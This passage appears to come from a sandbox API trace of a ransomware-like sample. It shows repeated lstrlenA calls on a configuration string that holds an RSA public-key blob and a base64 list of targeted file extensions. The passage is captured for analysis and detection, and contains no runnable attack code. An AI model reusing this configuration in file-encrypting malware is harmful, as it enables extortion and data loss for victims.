C5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhs